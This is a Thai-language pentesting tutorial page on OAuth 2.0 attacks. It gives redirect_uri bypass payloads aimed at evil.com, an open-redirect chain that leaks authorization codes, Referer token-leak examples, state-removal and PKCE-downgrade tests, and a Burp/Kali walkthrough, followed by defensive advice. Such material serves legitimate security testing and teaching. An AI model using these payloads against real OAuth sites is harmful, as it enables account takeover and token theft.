คลัง
web

OAuth Attacks

OAuth 2.0 เป็นมาตรฐาน delegated authorization ที่ใช้ทำ 'login with Google/Facebook' ช่องโหว่เกือบทั้งหมดอยู่ที่ implementation ไม่ใช่ตัว protocol: การ validate redirect_uri หลวม (ขโมย code/token), ขาด/ไม่ตรวจ state (OAuth CSRF / account hijack), token รั่วผ่าน Referer, ความเสี่ยงของ implicit flow, และการ bypass/downgrade PKCE บทนี้ไล่ทุกจุดพร้อม request จริงและ decision flow

Advanced#oauth#openid-connect#redirect-uri#csrf#state#token-theft#pkce#implicit-flow

1. OAuth flow และจุดที่พลาด

Authorization Code flow: client ส่งผู้ใช้ไป authorization server พร้อม client_id, redirect_uri, scope, state ผู้ใช้อนุมัติ → server redirect กลับ redirect_uri พร้อม code → client (ฝั่ง backend) แลก code เป็น access token ด้วย client_secret จุดพลาดหลักอยู่ที่การ validate redirect_uri และการตรวจ state

Authorization Code flow และจุดโจมตี
Userbrowser Client (app)redirect_uri Auth ServerGoogle/IdP 1. เริ่ม login 2. authorize 3. redirect + code → ไป redirect_uri (จุดขโมย!) 4. client แลก code → token (backend)
parameterหน้าที่ถ้าพลาด
redirect_uriที่ที่ code/token ถูกส่งกลับvalidate หลวม → ส่งไปโดเมนเรา
stateกัน CSRF ผูก request กับ sessionขาด/ไม่ตรวจ → account hijack
codeแลกเป็น token (ครั้งเดียว)ใช้ซ้ำ/ไม่หมดอายุ
scopeขอบเขตสิทธิ์ขอเกิน/ไม่ตรวจ
code_challenge (PKCE)ผูก code กับ client จริงไม่บังคับ → downgrade

2. redirect_uri abuse (ขโมย code/token)

ช่องที่ทรงพลังที่สุด: ถ้า authorization server ยอมรับ redirect_uri ที่ไม่ตรง exact match ผู้โจมตีทำให้ code/token ถูกส่งไปโดเมนที่ตัวเองคุมได้ = ขโมย session OAuth ของเหยื่อ (account takeover)

รูปแบบ redirect_uri ที่ validate หลวม
# ปกติ
redirect_uri=https://app.com/callback

# 1) ยอม subdomain/prefix match
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://evil.com/app.com/callback

# 2) ยอม path เพิ่ม (แล้ว chain open redirect บน client)
redirect_uri=https://app.com/callback/../redirect?to=https://evil.com

# 3) ยอม localhost / port ต่าง
redirect_uri=https://app.com@evil.com/callback   (userinfo trick)
redirect_uri=https://app.com/callback?next=https://evil.com

# 4) path traversal / encoding bypass ตัว validator
redirect_uri=https://app.com%2f%2e%2e%2fevil
redirect_uri=https://app.com\.evil.com/callback
ถ้าเปลี่ยน redirect_uri แล้ว server ยัง redirect (ไม่ error) = validate หลวม → เป้าขโมย code

การ chain ที่พบบ่อยที่สุด: redirect_uri ที่ถูก whitelist ไว้ + open redirect บน client เช่น redirect_uri=https://app.com/callback ผ่านการ validate (exact) แต่ callback ของ client มี open redirect ต่อ → code ไหลออกไป evil.com ผ่านหน้าที่ 'ถูกต้อง' ดูหัวข้อ Open Redirect ประกอบ

ขโมย code ผ่าน chain open redirect
# redirect_uri ผ่าน whitelist แต่ callback มี ?returnTo= (open redirect)
GET /authorize?client_id=X&response_type=code
    &redirect_uri=https://app.com/callback%3FreturnTo%3Dhttps://evil.com
# code ถูกส่งไป /callback → callback redirect ต่อไป evil.com พร้อม code ใน URL/Referer
# attacker เก็บ code จาก log แล้วแลก token / login เป็นเหยื่อ

3. state / CSRF & account hijack

state เป็น anti-CSRF token ที่ client สร้าง (ผูกกับ session) แล้วตรวจตอน callback ถ้า ไม่มี state หรือไม่ตรวจ ผู้โจมตีทำ OAuth CSRF: ผูกบัญชี OAuth ของตัวเองเข้ากับบัญชีของเหยื่อ (login CSRF) หรือในทางกลับ ทำให้เหยื่อ login เป็นบัญชีของผู้โจมตีแล้วกรอกข้อมูลลับลงไป

  1. 1เริ่ม flow OAuth ด้วยบัญชีผู้โจมตี แล้ว 'ดัก' code ไว้ (ยังไม่ให้ client ใช้)
  2. 2หลอกเหยื่อ (ที่ล็อกอินแอปอยู่) ให้เปิดลิงก์ callback พร้อม code ของผู้โจมตี
  3. 3ถ้าไม่ตรวจ state → แอปผูกบัญชี Google ของผู้โจมตีเข้ากับบัญชีเหยื่อ
  4. 4ผู้โจมตี login ผ่าน Google ตัวเอง → เข้าบัญชีเหยื่อได้
  • ขาด state: ไม่มี parameter เลย → CSRF ได้ทันที
  • state ไม่ผูก session: ค่าคงที่/เดาได้ → ผู้โจมตีใส่ค่าที่ผ่านได้เอง
  • state ไม่ถูกตรวจ: ส่งมาแต่ backend ไม่ verify
  • ใช้ nonce/PKCE แทนแต่ไม่ผูก session: ยังเปิดช่อง CSRF บาง flow
ทดสอบ state: ลบ state ออกจาก callback, ใช้ค่าซ้ำจาก session อื่น, หรือใช้ค่าที่เดา — ถ้า flow ยังสำเร็จ = ไม่ตรวจ state จริง ทำเฉพาะบน lab/scope ที่อนุญาต

4. Token leakage & implicit flow

Implicit flow (response_type=token) ส่ง access token กลับมาใน URL fragment (#access_token=...) ตรงๆ ไม่มีขั้นแลก code จึงเสี่ยงรั่วมากกว่า code flow — token อยู่ในประวัติเบราว์เซอร์, เข้าถึงได้ด้วย JS ทุกตัวในหน้า, และรั่วผ่าน Referer ปัจจุบัน OAuth 2.1 เลิกแนะนำ implicit flow แล้ว

  • Referer leak: token/code ใน URL รั่วไป third-party script/resource ผ่าน Referer header เมื่อหน้าโหลด asset ภายนอก
  • Fragment persistence: #access_token ค้างใน history/bookmark
  • postMessage หลวม: flow ที่ส่ง token ผ่าน postMessage โดยไม่ตรวจ origin ปลายทาง → รั่วให้ iframe ผู้โจมตี
  • code ใช้ซ้ำ: authorization code ที่ไม่ถูก invalidate หลังแลก → replay
ตรวจ token leak ผ่าน Referer
# callback ที่มี token ใน URL แล้วหน้าโหลด resource ภายนอก
GET /callback#access_token=ya29.xxx HTTP/1.1
# หน้านี้โหลด <img src="https://analytics.evil.com/pixel">
# → Referer: https://app.com/callback#access_token=... รั่วไป evil.com
# (fragment มักไม่ไปกับ Referer แต่ query string ไป — ตรวจทั้งสองแบบ)

5. PKCE — บทบาทและการ bypass

PKCE (Proof Key for Code Exchange) ป้องกันการขโมย code โดยให้ client สร้าง code_verifier สุ่ม แล้วส่ง code_challenge = SHA256(verifier) ตอน authorize ตอนแลก code ต้องแนบ code_verifier ตัวจริง — code ที่ถูกขโมยจึงแลก token ไม่ได้ถ้าไม่มี verifier จุดอ่อนคือ implementation ที่ทำ PKCE ไม่ครบ

  • PKCE downgrade: server ยอมแลก code โดยไม่ต้องมี code_verifier ถ้าไม่ได้ส่ง challenge มา → ตัด PKCE ออกทั้งชุด
  • plain method: ยอม code_challenge_method=plain (challenge = verifier ดิบ) → ถ้า challenge รั่ว = verifier รั่ว
  • ไม่ผูก verifier กับ code: server ไม่ตรวจว่า verifier ตรง challenge เดิม
  • ไม่บังคับ PKCE กับ public client: mobile/SPA ที่ไม่มี client_secret ควรบังคับ PKCE
เจอ OAuth — ไล่ทดสอบตามนี้
ดัก authorize request: มี state? PKCE? response_type?
ลอง redirect_uri
ยอมโดเมน/path ต่างขโมย code → account takeover
exact matchหา open redirect บน callback → chain
ตรวจ state
ขาด/ไม่ตรวจOAuth CSRF / account hijack
response_type=token (implicit)?
token ใน fragment → หา Referer/postMessage leak
ลอง reuse code / ตัด PKCE (downgrade)
scope: ขอเกินที่ควรได้ไหม
พบช่อง → ขโมย token / เข้าบัญชีเหยื่อ

6. ตัวอย่าง CTF & Real-world

CTF (PortSwigger): authorization server validate redirect_uri แค่ prefix จึงยอม redirect_uri=https://oauth-site/callback/../evil-path ที่ path traversal ออกไปหน้าที่ผู้โจมตีคุม — เมื่อ admin login SSO, code ถูกส่งไปหน้านั้น, ผู้โจมตีเก็บ code แล้วแลก token เข้าบัญชี admin

Real-world: ปุ่ม 'link Google account' ไม่มี state — ผู้โจมตีสร้างลิงก์ callback ที่ผูก Google ของตัวเองแล้วส่งให้เหยื่อ (CSRF) เมื่อเหยื่อ (ล็อกอินแอปอยู่) คลิก บัญชี Google ผู้โจมตีถูกผูกกับบัญชีเหยื่อ → ผู้โจมตี 'login with Google' เข้าบัญชีเหยื่อได้ พบบ่อยในฟีเจอร์ social-linking

สัญญาณลองทำ
redirect_uri แก้แล้วยัง redirectขโมย code (subdomain/path/@/traversal)
callback มี ?returnTo= / open redirectchain ให้ code ไหลออก
ไม่มี state ใน authorizeOAuth CSRF / account hijack
response_type=tokenimplicit → หา Referer/postMessage leak
ไม่มี code_challengePKCE downgrade / reuse code
scope ปรับได้ขอ scope เกิน

7. ข้อผิดพลาด & การป้องกัน

  • เทสแค่ redirect_uri: ลืม state/PKCE/scope ที่ให้ account takeover เหมือนกัน
  • มองข้าม open redirect บน client: chain นี้ทำให้ redirect_uri ที่ 'exact match' ยังรั่ว
  • ไม่แยก fragment vs query: Referer leak ต่างกัน — implicit token อยู่ใน fragment
  • ทดสอบด้วยบัญชีเดียว: account hijack ต้องมีบัญชี attacker + victim
การป้องกัน (blue team): exact-match redirect_uri (ทั้ง host+path, ไม่ยอม wildcard/prefix), บังคับ state ผูก session และตรวจทุกครั้ง, ใช้ Authorization Code + PKCE เสมอ (เลิก implicit), code ใช้ครั้งเดียว+หมดอายุสั้น, ไม่มี open redirect บนหน้า callback, บังคับ PKCE (S256) กับ public client, และตรวจ scope ฝั่ง server ไม่เชื่อค่าที่ client ขอ

8. Quick Reference

  • redirect_uri หลวม (subdomain/path/@/traversal) → ขโมย code/token
  • chain open redirect บน callback → redirect_uri exact ก็ยังรั่ว
  • ขาด/ไม่ตรวจ state → OAuth CSRF / account hijack
  • implicit (response_type=token) → token ใน fragment เสี่ยง Referer/postMessage leak
  • code ใช้ซ้ำ/ไม่หมดอายุ; PKCE downgrade/plain method
  • scope: ขอเกินที่ควรได้
  • ทดสอบด้วย 2 บัญชี (attacker+victim) สำหรับ hijack
  • ป้องกัน: exact redirect_uri, บังคับ state+PKCE, code ครั้งเดียว, เลิก implicit

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเจอปุ่ม 'Login with Google/Facebook' บนเว็บเป้าหมาย มีแค่ Kali เปล่าๆ ทำตามนี้ทีละขั้นเพื่อเช็ค OAuth flow

  1. 1เปิด Burp Suite ตั้ง proxy แล้วกดปุ่ม login with Google/Facebook ดัก request /authorize ที่มี client_id, redirect_uri, state, response_type
  2. 2ส่ง request /authorize เข้า Repeater แล้วดูว่ามี state parameter ไหม (ถ้าไม่มี = ท่าง่ายสุด)
  3. 3ลองแก้ redirect_uri เป็นโดเมนย่อย/path ต่างๆ (เช่น app.com.evil.com, app.com/callback/../evil) แล้วดูว่า auth server ยัง redirect ให้ไหม
  4. 4ถ้า redirect_uri exact match ลองหา open redirect บน callback path เดียวกันด้วย ffuf หรือดูมือ
  5. 5ลบ state parameter ออกจาก callback request ใน Repeater แล้วดูว่า flow ยังสำเร็จไหม
  6. 6เช็ค response_type: ถ้าเป็น token (implicit flow) เปิด DevTools ดูว่า token อยู่ใน URL fragment ไหม แล้วดูว่าหน้านั้นโหลด external resource ที่ทำให้ Referer รั่วหรือไม่
  7. 7ลองแลก code ซ้ำ (replay ด้วย Repeater) ดูว่าใช้ได้มากกว่า 1 ครั้งไหม
  8. 8ถ้ามี code_challenge (PKCE) ลองแลก code โดยไม่ใส่ code_verifier ดูว่า server ยอมไหม (downgrade)
  9. 9เก็บหลักฐานผลทดสอบทุกข้อไว้เทียบกับตารางสัญญาณ
ตัดสินใจ: ไล่ทดสอบ OAuth flow ทีละจุด
ดัก authorize request: มี state? PKCE? response_type อะไร?
ลอง redirect_uri หลวม (subdomain/path/@/traversal)
✅ ยอมโดเมน/path อื่น→ ขโมย code สำเร็จ → เข้าบัญชีเหยื่อ
❌ exact match→ หา open redirect บน callback path
ลบ/ปลอม state ตอน callback
✅ flow ยังสำเร็จ→ OAuth CSRF ยืนยัน (account hijack)
❌ ถูกตรวจจริง→ ไปเช็ค implicit/PKCE
response_type=token (implicit)? หรือลอง PKCE downgrade / reuse code
✅ ได้ผลสักท่า→ ขโมย token / ใช้ code ซ้ำสำเร็จ
❌ ไม่ได้เลย→ ป้องกันแน่น ลองดู session/CSRF ของฝั่ง client แทน
พบช่อง → ขโมย token / เข้าบัญชีเหยื่อสำเร็จ
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดักจับ authorize/callback requestBurp Suite Community--
แก้ redirect_uri/state ทดสอบBurp Repeater--
หา open redirect บน callbackffuf--
ถอด/ตรวจ JWT access token-git clone https://github.com/ticarpi/jwt_tooljwt.io
ดัก fragment/postMessage tokenBurp / เบราว์เซอร์ DevTools--
ทดสอบ CORS ประกอบcurl--
🚑 ถ้าตันสนิท ลองท่าถัดไป: Open Redirect — ถ้า redirect_uri exact match แต่ callback มี open redirect ให้ chain · CSRF — ถ้าปุ่ม 'link account' ไม่มี state และเป็นปัญหา CSRF ล้วนๆ · JWT Attacks — ถ้า access token ที่ได้เป็น JWT ที่ signature อ่อน · Session Testing — หลัง login ผ่าน OAuth แล้ว ไปตรวจ session/cookie ที่ได้ต่อ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้